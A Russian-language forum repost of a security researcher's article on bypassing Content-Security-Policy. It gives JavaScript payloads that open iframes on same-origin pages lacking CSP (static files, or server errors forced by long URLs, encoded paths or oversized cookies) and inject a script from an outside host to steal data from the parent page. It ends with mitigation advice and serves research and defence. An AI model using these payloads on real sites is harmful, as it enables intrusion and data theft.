• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разрешено все! Изучаем новую крутую технику обхода CSP

lukas

(L3) cache
Пользователь
Регистрация
11.10.2018
Сообщения
282
Реакции
691
Разрешено все! Изучаем новую крутую технику обхода CSP

Политика защиты контента (CSP) — это механизм, встроенный в браузеры, который позволяет защититься от XSS-атак. Он описывает браузеру безопасные источники загрузки ресурсов, таких как JavaScript, стили, изображения, фреймы. Основной способ использования политики — блокировка недоверенных JS, что сводит к минимуму вероятность успешной эксплуатации XSS. Например, если в заголовке CSP указано загружать изображения только с текущего домена, то все теги со сторонними доменами будут проигнорированы. Но как провести полноценную атаку с кражей данных, если ничего нельзя отправлять на другие ресурсы?
Типичный пример использования CSP — это разрешение загрузки ресурсов с собственного домена (self) и разрешение выполнения инлайн-сценариев:
PHP:
Content-Security-Policy: default-src 'self' 'unsafe-inline';

Такая политика подразумевает «запрещено все, что не разрешено». В данной конфигурации будет запрещено любое использование функций, выполняющих код в виде строки, таких как eval, setTimeout, setInterval, так как отсутствует настройка 'unsafe-eval'.
image3.jpg

Запрещено грузить любой контент с внешних источников, в том числе изображения, CSS, WebSocket. И конечно же, JS.

Но не стоит забывать, что self позволяет работать в контексте SOP в рамках этого домена, поэтому мы по-прежнему можем грузить сценарии, создавать фреймы, изображения. Если вспомнить о фреймах, то CSP распространяется и на фреймы, в том числе если в качестве протокола будет указан data, blob или будет сформирован фрейм с помощью атрибута srcdoc.

image14.jpg



Можно ли выполнить JS в текстовом файле?
Для начала вспомним один трюк. Если современный браузер открывает изображение или какой-то текстовый файл, он автоматически преобразуется в HTML-страницу.

image9.jpg


Это нужно для корректного отображения содержимого пользователю, чтобы у изображения был фон и она была расположена по центру. Но iframe также является окном! Поэтому открытые в нем файлы, которые отображаются в браузере, например favicon.ico или robots.txt, автоматически преобразуются в HTML, независимо от того, корректные ли в нем данные, главное — чтобы был правильный content-type.

Но что, если фрейм будет содержать страницу сайта, но уже без заголовка CSP? Вопрос риторический. Выполнит ли открытый фрейм без политики все JS, которые будут у него внутри? Если иметь XSS на странице, мы можем сами записать свой JS внутрь фрейма.

Для теста сформируем сценарий, который открывает iframe. Для примера возьмем bootstrap.min.css, путь к которому указан на странице выше.
Код:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
image12.jpg


Теперь посмотрим на содержимое фрейма. Отлично! CSS был преобразован в HTML, и нам удалось переписать содержимое head (хотя оно было пустое). Теперь проверим, сработает ли в нем подключение внешнего JavaScript-файла.
Код:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
image10.jpg


Таким образом мы можем выполнить инъекцию через iframe, создать в нем свой JS-сценарий и обратиться в окно-родитель, чтобы украсть оттуда данные.

Для полноценной эксплуатации XSS достаточно открыть фрейм с любым путем, где отсутствует политика безопасности. Это могут быть стандартные favicon.ico, robots.txt, sitemap.xml, CSS/JS-файлы, загруженные пользователями изображения и прочее.

(!)
PoC проведения атаки через robots.txt.

Ошибки сервера для обхода CSP
Но что, если любой корректный ответ (200 — OK) содержит X-Frame-Options: Deny? Вторая ошибка, которую допускают при внедрении CSP, — это отсутствие защитных заголовков при ошибках веб-сервера. Самый простой вариант — обратиться на несуществующую страницу. Я заметил, что многие ресурсы ставят X-Frame-Options только на ответы 200, но 404 игнорируют.

Если и это предусмотрено — попробуем вызвать стандартное сообщение от веб-сервера о некорректной ссылке.

Чтобы гарантированно вызвать 400 bad request на примере nginx, достаточно обратиться на директорию выше с помощью конструкции /%2e%2e%2f. Чтобы препятствовать нормализации ссылки браузером (браузер уберет /../ и отправит /), делаем urlencode точки и последнего слеша:
Код:
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
image11.jpg


Другой из вариантов развития событий — передача некорректного urlencode в пути, например /% или /%%z.

Однако самый простой способ получить ошибку веб-сервера — это превышение длины URL. Современные браузеры могут сформировать ссылку много больше, чем поддерживает веб-сервер. А у веб-серверов по умолчанию размер ссылки не должен превышать 8 Кбайт данных, как в nginx, так и в Apache.

Для этого вызываем похожий сценарий, например с длиной пути в 20 000 байт:
Код:
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
image13.jpg


Если вспомнить о других лимитах — это длина кук. Количество и длина кук в браузере может быть больше, чем поддерживают веб-серверы. По аналогии:

  1. Создаем огромные cookie:
    Код:
    for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
  2. Открываем фрейм на любой адрес, сервер вернет ошибку (и часто без XFO и CSP).
  3. Удаляем огромные cookie:
    Код:
    for(var i=0;i<5;i++){document.cookie=i+"="}
  4. Пишем в фрейм свой JS-сценарий, который ворует secret.
Попробуй сам! А если не получится, вот тебе PoC :)

Скорее всего, есть и другие способы вызвать ошибку, например отправить слишком длинный POST-запрос или вызвать ошибку самого веб-приложения (например, с ошибкой 500).


Почему это работает?
Потому что политика подключаемого ресурса в фрейме контролируется самим ресурсом.


Как этого избежать
Заголовок Content-Security-Policy должен присутствовать на всех страницах, даже на ошибках веб-сервера.

Настройка CSP должна происходить таким образом, чтобы права были минимально необходимыми для корректной работы ресурса, если это возможно. Попробуй включить Content-Security-Policy-Report-Only: default-src 'none' и постепенно включать правила для тех или иных ситуаций.

Если для корректной работы ресурса необходимо использовать unsafe-inline, обязательно нужно внедрить nonce или hash-source, без этого защита от атак типа XSS сходит на нет. А если CSP не защищает от атак, какой в нем смысл?

автор:
Антон Лопаницын aka Bo0oM

ONSEC Security researcher
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх